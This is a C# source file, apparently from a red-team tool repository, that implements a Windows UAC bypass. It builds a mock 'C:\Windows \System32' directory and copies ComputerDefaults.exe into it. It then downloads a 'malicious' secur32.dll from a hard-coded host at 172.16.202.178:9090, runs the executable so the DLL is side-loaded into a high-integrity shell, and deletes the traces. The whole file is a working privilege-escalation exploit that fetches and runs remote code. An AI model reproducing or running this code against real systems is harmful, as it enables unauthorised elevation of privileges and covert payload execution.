Home-Grown-Red-Team/HighBorn/HighBorn.cs

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net;



namespace HighBorn
{
    class HighBorn
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool Wow64DisableWow64FsRedirection(ref IntPtr ptr);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool Wow64RevertWow64FsRedirection(IntPtr ptr);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CreateDirectory(string lpPathName, IntPtr lpSecurityAttributes);

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);

        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool DeleteFileW([MarshalAs(UnmanagedType.LPWStr)]string lpFileName);
       
	    [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool RemoveDirectory(string lpPathName);

		
	
        public static void Main(string[] args)
        {
            IntPtr wow64Value = IntPtr.Zero;

            Wow64DisableWow64FsRedirection(ref wow64Value);

            Console.WriteLine("[^] Directories Created");
            try
            {
                CreateDirectory(@"\\?\C:\Windows \", IntPtr.Zero);
                CreateDirectory(@"\\?\C:\Windows \System32\", IntPtr.Zero);
            }
            catch
            {
                Console.WriteLine("[-] Unable to create directories");
            }
			
			
			Console.WriteLine("[^] Copying Executable Into Mock Directory");
            try
            {
            
			CopyFile(@"C:\Windows\System32\ComputerDefaults.exe", @"C:\Windows \System32\ComputerDefaults.exe", true);

            }
            catch
            {
                Console.WriteLine("[-] Unable to create the mock directories");
            }

			Console.WriteLine("[^] Downloading Malicious DLL");
            try
			{
			using (WebClient webClient = new WebClient())
				{
					webClient.DownloadFile("http://172.16.202.178:9090/secur32.dll", @"C:\Windows\temp\secur32.dll");
				}
			}
			catch
			{
				Console.WriteLine("[^] DLL Downloaded");
			}	
			
			CopyFile(@"C:\Windows\temp\secur32.dll", @"C:\Windows \System32\secur32.dll", true);
			
			Console.WriteLine("[^] Spawining High Integrity Shell");
            try
            {
            		Process.Start(@"C:\Windows \System32\ComputerDefaults.exe").WaitForExit();
            }
            catch
            {
                Console.WriteLine("[-] Shell fucked up");
            }

            Console.WriteLine("[^] Cleaning Up");
            
        DeleteFileW(@"C:\Windows \System32\ComputerDefaults.exe");
		DeleteFileW(@"C:\Windows \System32\secur32.dll");
		RemoveDirectory(@"C:\Windows \System32\");
		RemoveDirectory(@"C:\Windows \");

            
            Wow64RevertWow64FsRedirection(wow64Value);
        }
    }
}